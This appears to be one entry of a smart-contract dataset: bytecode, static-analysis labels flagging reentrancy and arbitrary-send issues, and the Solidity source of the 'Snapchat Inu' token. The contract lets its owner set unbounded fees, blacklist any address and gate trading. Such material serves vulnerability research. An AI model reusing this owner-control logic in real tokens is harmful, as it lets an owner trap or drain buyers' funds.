fffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206747a734070ba391b9289ca302beec11047cfd4a136b7c0af8fc2754c1060e7c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,350
0x7590861d369528e332e7023b90d8d5088cb5b99c
/** *Submitted for verification at Etherscan.io on 2022-04-14 */ /** *Submitted for verification at Etherscan.io on 2022-04-02 */ /* Snapchat Inu | SNINU Telegram: https://t.me/snapchatinueth Twitter: https://twitter.com/Snapchatinu Website: snapchatinu.com */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SNAPCHATINU is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Snapchat Inu";////////////////////////// string private constant _symbol = "SNINU";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 10;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 10;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xD3518329b3ccC414efD697E71E911feb1E93041c);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xD3518329b3ccC414efD697E71E911feb1E93041c);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //2% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e